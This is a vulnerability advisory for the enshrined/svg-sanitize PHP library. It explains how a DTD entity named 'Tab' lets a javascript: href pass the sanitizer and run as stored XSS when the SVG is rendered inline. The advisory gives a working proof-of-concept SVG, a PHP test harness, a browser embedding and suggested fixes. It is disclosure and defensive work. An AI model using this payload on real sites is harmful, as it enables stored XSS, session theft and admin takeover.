Summary
A crafted SVG bypasses enshrined/svg-sanitize's href validation and delivers a javascript: URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).
This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.
Affected installations: - enshrined/svg-sanitize: 45.2M Packagist downloads, 1.3M/month, 90+ dependents - WordPress Safe SVG plugin: 1M+ active installs (inline SVG rendering via themes) - TYPO3, Drupal and 90+ other Packagist dependents
Vulnerability Details
Mechanism
1. Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference: xml <!ENTITY Tab "#"> In XML, 	 expands to the literal string "#" (from the DTD definition). In HTML5, 	 is a Named Character Reference that resolves to U+0009 (TAB character).
2. The SVG uses this entity in an href: xml <a href="	javascript:alert(document.domain)">
3. During sanitization (XML context): 	 → "#" → the sanitizer sees href="#javascript:alert(document.domain)" → starts with # → isHrefSafeValue() returns TRUE → passes through.
4. Sanitizer output: saveXML() outputs the entity reference 	 (not the expanded value), and strips the DOCTYPE declaration.
5. In the browser (HTML5 context): Without the DOCTYPE, 	 is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace → javascript:alert(document.domain) executes.
Root Cause (Sanitizer.php)
php // isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution) protected function isHrefSafeValue($value) { if ('#' === substr($value, 0, 1)) { return true; // Fragment identifier — "safe" } // ... }
// But saveXML() preserves the entity REFERENCE, not the expanded value // And the DOCTYPE (which defines the entity) is stripped from output // → semantic mismatch between validation and output contexts
Proof of Concept
Malicious SVG (xss.svg)
xml <!DOCTYPE svg [<!ENTITY Tab "#">]> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120"> <a href="	javascript:alert(document.domain)"> <rect width="400" height="120" fill="#c00" rx="12"/> <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text> </a> </svg>
Sanitizer processing
php <?php requireonce 'vendor/autoload.php';
$svg = filegetcontents('xss.svg'); $sanitizer = new \enshrined\svgSanitize\Sanitizer(); $clean = $sanitizer->sanitize($svg); echo $clean;
Output: xml <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120"> <a href="	javascript:alert(document.domain)"> <rect width="400" height="120" fill="#c00" rx="12"/> <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text> </a> </svg>
The javascript: href passes through the sanitizer. The DOCTYPE is stripped, but the 	 entity reference is preserved.
Browser exploitation
Embed the sanitized SVG inline in HTML: html <div class="svg-container"> <!-- sanitized SVG output inserted here --> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 400 120"> <a href="	javascript:alert(document.domain)"> <rect width="400" height="120" fill="#c00" rx="12"/> <text x="200" y="65" fill="white" font-size="20" text-anchor="middle">CLICK ME</text> </a> </svg> </div>
Clicking the red rectangle executes alert(document.domain).
Confirmed: Chrome 148. PoC file: XSSCONFIRMEDPOC.html
Exploitable Named Character References
Any HTML5 Named Character Reference that expands to a URL-parser-ignored character: - 	 → U+0009 (Horizontal Tab) - 
 → U+000A (Line Feed)
These are stripped by the URL parser's scheme extraction, allowing javascript: to be the effective scheme.
Impact
Stored XSS
- Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint - SVG passes sanitization — sanitizer reports no issues - When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page's origin - Account takeover: document.cookie, fetch('/wp-admin/...'), session hijacking
Context requirement
The sanitized SVG must be embedded inline in HTML (not as <img src="file.svg">). Common scenarios: - WordPress themes that echo filegetcontents($svgpath) for inline SVG rendering - WordPress block editor SVG preview - Any web application rendering svg-sanitize output directly in HTML
Standalone <img src="...svg"> is NOT affected (browser uses XML parser, 	 without DOCTYPE = XML parse error).
CVSS
CVSS 3.1: 6.1 (Medium) — stored XSS, requires user click
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
With session stealing / admin takeover chain: effective severity High.
Suggested Fix
Option 1: Strip DOCTYPE before parsing (recommended)
php $dirty = pregreplace('/<!DOCTYPE[^>](?:\[.?\])?\s>/si', '', $dirty);
Eliminates entity definitions entirely. No DTD entities = no collision.
Option 2: Validate href after serialization
php $clean = $this->xmlDocument->saveXML(...); // Post-serialization check: re-validate all href values in the OUTPUT // (catches entity references that bypass the XML-expanded check)
Option 3: Expand entities before validation
Validate getAttribute() return value AND the serialized form: php $href = $element->getAttribute($attrName); $serialized = $this->xmlDocument->saveXML($element); // Check both for javascript: scheme
Environment
- enshrined/svg-sanitize 0.22.x - Chrome 148 (confirmed XSS execution) - PHP 8.3.24 (any version — bug is in PHP sanitizer logic, not ext/dom)
Reported by ExPatch Security Research — expatch.llc Denis Rostilov